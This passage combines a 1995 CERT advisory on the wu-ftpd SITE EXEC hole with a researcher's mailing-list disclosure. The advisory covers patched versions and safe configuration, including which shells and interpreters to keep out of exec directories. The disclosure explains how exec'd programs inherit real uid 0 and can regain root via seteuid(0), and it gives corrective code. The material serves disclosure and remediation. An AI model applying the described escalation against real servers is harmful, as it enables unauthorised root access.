ftp://ftp.debian.org/debian/debian-0.93/binary/net/wu-ftpd-2.4-14.deb MD5 (wu-ftpd-2.4-14.deb) = c00a0aac75216bf83568aee4c2e7d168 2. If you are running any version of Linux, there is a version of the source code available that has been improved to compile more cleanly. It too is correctly configured for SITE EXEC. It is available from (file wu-ftpd-2.4-fixed.tar.gz) ftp://bach.cis.temple.edu/pub/Linux/security/wu-ftpd-2.4-fix/ MD5 (wu-ftpd-2.4-fixed.tar.gz) = 3e1c6fd7cd6757e45894df0d3638b524 This version is also correctly configured for the SITE EXEC command and can be compiled and installed. Consult Section IV below for suggestions on how to configure wu-ftpd. 3. If you are running a version of wu-ftpd before version 2.4, you should upgrade to version 2.4 first. That version is available from ftp://wuarchive.wustl.edu/packages/wuarchive-ftpd/wu-ftpd-2.4.tar.Z MD5 (wu-ftpd-2.4.tar.Z) = 57f1a962c90a9b12825d39af518df433 Version 2.4 is correctly configured for the SITE EXEC command and can be compiled and installed. Consult Section IV below for suggestions on how to configure wu-ftpd. C. Enabling ftpd 1. To turn ftpd back on, delete the file referenced by the shutdown directive in your ftpaccess file. 2. Verify that the FTP service has been enabled by attempting to connect to it. You should see a message that contains lines similar to the following: srchost> ftp ftphost Connected to ftphost 220 ftphost FTP server (Version wu-2.4(3) Mon Apr 3 16:53:11 EDT 1995) ready. Name (srchost:joe): IV. Advice on configuring the FTP Daemon for SITE EXEC Here are some configuration guidelines for the directories named by the _PATH_EXECPATH variable. 1. Directories used by SITE EXEC: The documentation for wu-ftpd states that the directory defined by the _PATH_EXECPATH variable is relative to ~ftp, the ftp home directory as specified in the password file. This is misleading. The pathname is relative to ~ftp for anonymous users only. The pathname is relative to "/" for all other user sessions. Therefore, you need to check the two directories used by the SITE EXEC command. For example, if the _PATH_EXECPATH variable is set to /bin/ftp-exec, then wu-ftpd searches the ~ftp/bin/ftp-exec directory for programs specified by SITE EXEC when the anonymous login is used, and the /bin/ftp-exec directory specified by SITE EXEC when any other login is used. 2. Contents of the directories used by SITE EXEC: The commands installed in these directories can be executed by the SITE EXEC command. We strongly recommend that this directory contain only those programs that you wish to be executed by those users who connect to your FTP server. An example of a program to install in these directories is the ls program. Programs that should not be installed in these directories are shells, for example sh or csh, and command interpreters, for example awk and perl. --------------------------------------------------------------------------- The CERT Coordination Center thanks AUSCERT, the Australian response team, and Alexander O.

Well, CERT may be far behind, but some of us are even further behind than CERT. I hadn't heard of the problem, and I know MANY people who run linux + wu-ftpd who haven't heard of it either.

Dubuque" After long thinking, I am publishing *intentionally*truncated* excerpt from my mail archive. You will find included what I have sent to the wu-ftpd maintainer in *APRIL*1994*. And I have seen this ruid-hole exploited (the mechanism was maybe a bit different than the one described in the CERT advisory) during 1995, so I have sent similar material to cert@cert.org, believe sometime in the mid-1995, but I do not have this e-mail handy due to catastrophic disk crash. But certainly it has been noted in my e-mail that all programs exec()ed by wu-ftpd are started with ruid == 0. I do not have more comments on this topic.

TWO SERIOUS SECURITY RELATED BUGS in wuftpd 2.4 found during this night! *** Please confirm. *** What about to report this to CERT? 1) . . World is probably not ready to know about this one :-) . 2) Currently, all programs exec()'ed by wuftpd are started with ruid=0, euid=pw->pw_uid, rgid=0, egid=pw->pw_gid. Such a program may simply become root via seteuid(0); setegid(0) !!! The "ruid=0, euid=pw->pw_uid, rgid=0, egid=pw->pw_gid" environment is safe for *file* operations, but not for exec()ing anything!!! . . . FIX: oldid=geteuid(); seteuid(0); setgid(getegid); setuid(oldid); before execv(). Or use setreuid()/setregid() solution this is what I am using just now: . . . setreuid(geteuid(), 0); setregid(getegid(), -1); setreuid(-1, getuid()); execv(gargv[0], gargv); _exit(1); . . . Included is sample /ftp/bin/ls replacement code that demonstrates both problems. Compile and link, then copy the executable to /ftp/bin/ls, login as anonymous, then issue "dir my-command". This works very well also as /bin/ls replacement for real users.
